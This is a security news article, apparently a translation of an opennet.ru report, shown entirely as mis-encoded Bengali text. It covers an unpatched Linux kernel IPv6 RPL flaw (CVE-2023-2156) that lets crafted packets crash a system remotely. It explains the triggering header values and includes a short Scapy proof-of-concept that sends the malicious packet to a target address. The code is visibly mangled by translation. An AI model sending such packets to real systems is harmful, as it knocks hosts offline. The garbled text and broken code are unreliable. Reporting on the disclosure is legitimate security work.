0-āĻĻāĻŋāĻ¨ā§‡āĻ° Linux IPv6 āĻ¸ā§āĻŸā§āĻ¯āĻžāĻ• āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻ¯āĻž āĻĻā§‚āĻ°āĻŦāĻ°ā§āĻ¤ā§€ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻ•ā§āĻ°ā§āĻ¯āĻžāĻļā§‡āĻ° āĻ…āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻā§‡āĻ¯āĻŧ

āĻ˛āĻŋāĻ¨āĻžāĻ•ā§āĻ¸ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡ āĻāĻ•āĻŸāĻŋ āĻ†āĻ¨āĻĒā§āĻ¯āĻžāĻšāĻĄ (0-āĻĻāĻŋāĻ¨) āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž (CVE-2023-2156) āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ¤āĻĨā§āĻ¯ āĻĒā§āĻ°āĻ•āĻžāĻļ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ āĻ¯āĻž āĻŦāĻŋāĻļā§‡āĻˇāĻ­āĻžāĻŦā§‡ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž IPv6 āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ (āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ-āĻ…āĻĢ-āĻĄā§‡āĻĨ) āĻĒāĻžāĻ āĻžāĻ¨ā§‹āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽāĻŸāĻŋāĻ•ā§‡ āĻĨāĻžāĻŽāĻžāĻ¨ā§‹āĻ° āĻ…āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻā§‡āĻ¯āĻŧāĨ¤ āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻŸāĻŋ āĻ¤āĻ–āĻ¨āĻ‡ āĻĻā§‡āĻ–āĻž āĻĻā§‡āĻ¯āĻŧ āĻ¯āĻ–āĻ¨ RPL āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ (āĻ˛ā§‹-āĻĒāĻžāĻ“āĻ¯āĻŧāĻžāĻ° āĻāĻŦāĻ‚ āĻ•ā§āĻˇāĻ¤āĻŋāĻ•āĻžāĻ°āĻ• āĻ¨ā§‡āĻŸāĻ“āĻ¯āĻŧāĻžāĻ°ā§āĻ•āĻ—ā§āĻ˛āĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻ°āĻžāĻ‰āĻŸāĻŋāĻ‚ āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛) āĻ¸āĻ•ā§āĻˇāĻŽ āĻ•āĻ°āĻž āĻĨāĻžāĻ•ā§‡, āĻ¯āĻž āĻĄāĻŋāĻ¸ā§āĻŸā§āĻ°āĻŋāĻŦāĻŋāĻ‰āĻļāĻ¨ā§‡ āĻĄāĻŋāĻĢāĻ˛ā§āĻŸāĻ°ā§‚āĻĒā§‡ āĻ…āĻ•ā§āĻˇāĻŽ āĻĨāĻžāĻ•ā§‡ āĻāĻŦāĻ‚ āĻ‰āĻšā§āĻš āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻ˛āĻ¸ āĻ¸āĻš āĻ“āĻ¯āĻŧā§āĻ¯āĻžāĻ°āĻ˛ā§‡āĻ¸ āĻ¨ā§‡āĻŸāĻ“āĻ¯āĻŧāĻžāĻ°ā§āĻ•āĻ—ā§āĻ˛āĻŋāĻ¤ā§‡ āĻĒāĻ°āĻŋāĻšāĻžāĻ˛āĻŋāĻ¤ āĻāĻŽāĻŦā§‡āĻĄā§‡āĻĄ āĻĄāĻŋāĻ­āĻžāĻ‡āĻ¸āĻ—ā§āĻ˛āĻŋāĻ¤ā§‡ āĻĒā§āĻ°āĻ§āĻžāĻ¨āĻ¤ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ āĻšāĻ¯āĻŧā§ˇ

RPL āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ āĻĒāĻžāĻ°ā§āĻ¸āĻŋāĻ‚ āĻ•ā§‹āĻĄā§‡ āĻŦāĻžāĻšā§āĻ¯āĻŋāĻ• āĻĄā§‡āĻŸāĻžāĻ° āĻ­ā§āĻ˛ āĻĒāĻ°āĻŋāĻšāĻžāĻ˛āĻ¨āĻžāĻ° āĻ•āĻžāĻ°āĻŖā§‡ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻ¸ā§ƒāĻˇā§āĻŸāĻŋ āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻāĻ•āĻŸāĻŋ āĻĻāĻžāĻŦā§€ āĻŦā§āĻ¯āĻ°ā§āĻĨāĻ¤āĻžāĻ° āĻĻāĻŋāĻ•ā§‡ āĻĒāĻ°āĻŋāĻšāĻžāĻ˛āĻŋāĻ¤ āĻ•āĻ°ā§‡ āĻāĻŦāĻ‚ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻāĻ•āĻŸāĻŋ āĻ†āĻ¤āĻ™ā§āĻ•āĻŋāĻ¤ āĻ…āĻŦāĻ¸ā§āĻĨāĻžāĻ¯āĻŧ āĻšāĻ˛ā§‡ āĻ¯āĻžāĻ¯āĻŧāĨ¤ IPv6 RPL āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻšā§‡āĻĄāĻžāĻ°āĻ•ā§‡ k_buff (āĻ¸āĻ•ā§‡āĻŸ āĻŦāĻžāĻĢāĻžāĻ°) āĻ•āĻžāĻ āĻžāĻŽā§‹āĻ¤ā§‡ āĻĒāĻžāĻ°ā§āĻ¸ āĻ•āĻ°āĻžāĻ° āĻĢāĻ˛ā§‡ āĻĒā§āĻ°āĻžāĻĒā§āĻ¤ āĻĄā§‡āĻŸāĻž āĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻ•āĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, āĻ¯āĻĻāĻŋ CmprI āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°āĻŸāĻŋ 15 āĻ āĻ¸ā§‡āĻŸ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, Segleft āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°āĻŸāĻŋ 1 āĻ āĻ¸ā§‡āĻŸ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, āĻāĻŦāĻ‚ CmprE 0 āĻ āĻ¸ā§‡āĻŸ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, 48- āĻŦāĻžāĻ‡āĻŸ āĻ āĻŋāĻ•āĻžāĻ¨āĻž āĻ­ā§‡āĻ•ā§āĻŸāĻ° 528 āĻŦāĻžāĻ‡āĻŸā§‡ āĻ†āĻ¨āĻĒā§āĻ¯āĻžāĻ• āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ āĻāĻŦāĻ‚ āĻāĻŽāĻ¨ āĻāĻ•āĻŸāĻŋ āĻĒāĻ°āĻŋāĻ¸ā§āĻĨāĻŋāĻ¤āĻŋ āĻ¯ā§‡āĻ–āĻžāĻ¨ā§‡ āĻŦāĻžāĻĢāĻžāĻ°ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĒāĻ°ā§āĻ¯āĻžāĻĒā§āĻ¤ āĻŽā§‡āĻŽāĻ°āĻŋ āĻŦāĻ°āĻžāĻĻā§āĻĻ āĻ¨ā§‡āĻ‡āĨ¤ āĻāĻ‡ āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°ā§‡, āĻ•āĻžāĻ āĻžāĻŽā§‹āĻ° āĻŽāĻ§ā§āĻ¯ā§‡ āĻĄā§‡āĻŸāĻž āĻĒā§āĻļ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ skb_push āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋ āĻĄā§‡āĻŸāĻž āĻāĻŦāĻ‚ āĻŦāĻžāĻĢāĻžāĻ°ā§‡āĻ° āĻ…āĻ¸āĻžāĻŽāĻžā§āĻœāĻ¸ā§āĻ¯āĻĒā§‚āĻ°ā§āĻŖ āĻ†āĻ•āĻžāĻ°ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻāĻ•āĻŸāĻŋ āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻšāĻžāĻ˛āĻžāĻ¯āĻŧ, āĻŦāĻžāĻĢāĻžāĻ°āĻŸāĻŋāĻ•ā§‡ āĻ“āĻ­āĻžāĻ°āĻ°āĻžāĻ‡āĻŸ āĻ•āĻ°āĻž āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‹āĻ§ āĻ•āĻ°āĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻ†āĻ¤āĻ™ā§āĻ•āĻŋāĻ¤ āĻ…āĻŦāĻ¸ā§āĻĨāĻž āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°ā§‡āĨ¤

āĻ‰āĻĻāĻžāĻšāĻ°āĻŖ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§āĻ¨: # āĻ†āĻŽāĻ°āĻž scapy.all import * import socket āĻĨā§‡āĻ•ā§‡ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻ¤ā§‡ Scapy āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻŦ # āĻ†āĻĒāĻ¨āĻžāĻ° LAN āĻ‡āĻ¨ā§āĻŸāĻžāĻ°āĻĢā§‡āĻ¸ āĻĨā§‡āĻ•ā§‡ IPv6 āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§āĻ¨ DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻĒāĻžāĻ āĻžāĻ¤ā§‡ āĻ†āĻŽāĻ°āĻž āĻ¸āĻ•ā§‡āĻŸ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻŦ sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°ā§āĻ¨ # āĻĒā§āĻ°āĻ•āĻžāĻ° = 3 āĻāĻŸāĻŋāĻ•ā§‡ āĻāĻ•āĻŸāĻŋ RPL āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻ•āĻ°ā§‡ # āĻ āĻŋāĻ•āĻžāĻ¨āĻžāĻ¯āĻŧ 3āĻŸāĻŋ āĻ āĻŋāĻ•āĻžāĻ¨āĻž āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ¯ā§‡āĻšā§‡āĻ¤ā§ CmprI 15, # āĻĒā§āĻ°āĻĨāĻŽ āĻĻā§āĻŸāĻŋ āĻ āĻŋāĻ•āĻžāĻ¨āĻžāĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻŸāĻŋ āĻ…āĻ•ā§āĻŸā§‡āĻŸ āĻāĻ•āĻŸāĻŋ āĻ¸āĻ‚āĻ•ā§āĻšāĻŋāĻ¤ āĻ āĻŋāĻ•āĻžāĻ¨āĻž āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻŦāĻŋāĻŦā§‡āĻšāĻ¨āĻž āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ # Segleft = 1 āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ§āĻ¨āĻ•ā§‡ āĻŸā§āĻ°āĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ # lastentry = 0xf0 CmprI 15 āĻāĻŦāĻ‚ CmprE 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:"a=3,"[e=8) āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§‡ :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # āĻāĻ‡ āĻ–āĻžāĻ°āĻžāĻĒ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻĒāĻžāĻ āĻžāĻ¨ sockfd.sendto(bytes(p), (DST_ADDR, 0))

āĻāĻŸāĻž āĻ˛āĻ•ā§āĻˇāĻŖā§€āĻ¯āĻŧ āĻ¯ā§‡ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻĄā§‡āĻ­ā§‡āĻ˛āĻĒāĻžāĻ°āĻĻā§‡āĻ° 2022 āĻ¸āĻžāĻ˛ā§‡āĻ° āĻœāĻžāĻ¨ā§āĻ¯āĻŧāĻžāĻ°āĻŋāĻ¤ā§‡ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧā§‡ āĻ…āĻŦāĻšāĻŋāĻ¤ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ āĻāĻŦāĻ‚ āĻ—āĻ¤ 15 āĻŽāĻžāĻ¸ā§‡ āĻ¤āĻžāĻ°āĻž āĻ¸ā§‡āĻĒā§āĻŸā§‡āĻŽā§āĻŦāĻ° 2022, āĻ…āĻ•ā§āĻŸā§‹āĻŦāĻ° 2022 āĻāĻŦāĻ‚ āĻāĻĒā§āĻ°āĻŋāĻ˛ 2023-āĻ āĻĒā§āĻ¯āĻžāĻšāĻ—ā§āĻ˛āĻŋ āĻĒā§āĻ°āĻ•āĻžāĻļ āĻ•āĻ°ā§‡ āĻ¤āĻŋāĻ¨āĻŦāĻžāĻ° āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻŸāĻŋ āĻ¸āĻŽāĻžāĻ§āĻžāĻ¨ āĻ•āĻ°āĻžāĻ° āĻšā§‡āĻˇā§āĻŸāĻž āĻ•āĻ°ā§‡āĻ›āĻŋāĻ˛, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻĒā§āĻ°āĻ¤āĻŋāĻŦāĻžāĻ°āĻ‡ āĻ¸āĻ‚āĻļā§‹āĻ§āĻ¨ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧāĻ¨āĻŋ āĻ¯āĻĨā§‡āĻˇā§āĻŸ āĻāĻŦāĻ‚ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻĒā§āĻ¨āĻ°ā§āĻ¤ā§āĻĒāĻžāĻĻāĻ¨ āĻ•āĻ°āĻ¤ā§‡ āĻ¸āĻ•ā§āĻˇāĻŽ āĻ›āĻŋāĻ˛āĨ¤ āĻļā§‡āĻˇ āĻĒāĻ°ā§āĻ¯āĻ¨ā§āĻ¤, ZDI āĻĒā§āĻ°āĻ•āĻ˛ā§āĻĒ, āĻ¯āĻž āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻĻā§‚āĻ° āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ•āĻžāĻœāĻ•ā§‡ āĻ¸āĻŽāĻ¨ā§āĻŦāĻŋāĻ¤ āĻ•āĻ°ā§‡āĻ›āĻŋāĻ˛, āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡ āĻāĻ•āĻŸāĻŋ āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ°ā§€ āĻĒā§āĻ¯āĻžāĻš āĻ‰āĻĒāĻ¸ā§āĻĨāĻŋāĻ¤ āĻšāĻ“āĻ¯āĻŧāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ…āĻĒā§‡āĻ•ā§āĻˇāĻž āĻ¨āĻž āĻ•āĻ°ā§‡, āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻŦāĻŋāĻ¸ā§āĻ¤āĻžāĻ°āĻŋāĻ¤ āĻ¤āĻĨā§āĻ¯ āĻĒā§āĻ°āĻ•āĻžāĻļ āĻ•āĻ°āĻžāĻ° āĻ¸āĻŋāĻĻā§āĻ§āĻžāĻ¨ā§āĻ¤ āĻ¨āĻŋāĻ¯āĻŧā§‡āĻ›ā§‡āĨ¤

āĻāĻ‡āĻ­āĻžāĻŦā§‡, āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻž āĻāĻ–āĻ¨āĻ“ āĻ…āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‹āĻ§ā§āĻ¯āĨ¤ 6.4-rc2 āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡ āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ­ā§āĻ•ā§āĻ¤ āĻĒā§āĻ¯āĻžāĻš āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ­ā§āĻ•ā§āĻ¤ āĻ•āĻ°āĻž āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ° āĻ¨āĻ¯āĻŧāĨ¤ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€āĻĻā§‡āĻ° āĻ¤āĻžāĻĻā§‡āĻ° āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ RPL āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻž āĻšāĻšā§āĻ›ā§‡ āĻ¨āĻž āĻ¤āĻž āĻ¯āĻžāĻšāĻžāĻ‡ āĻ•āĻ°āĻžāĻ° āĻĒāĻ°āĻžāĻŽāĻ°ā§āĻļ āĻĻā§‡āĻ“āĻ¯āĻŧāĻž āĻšāĻšā§āĻ›ā§‡, āĻ¯āĻž sysctl -a | grep -i rpl_seg_enabled

āĻ‰āĻ¤ā§āĻ¸: opennet.ru

āĻāĻ•āĻŸāĻŋ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯ āĻœā§āĻĄāĻŧā§āĻ¨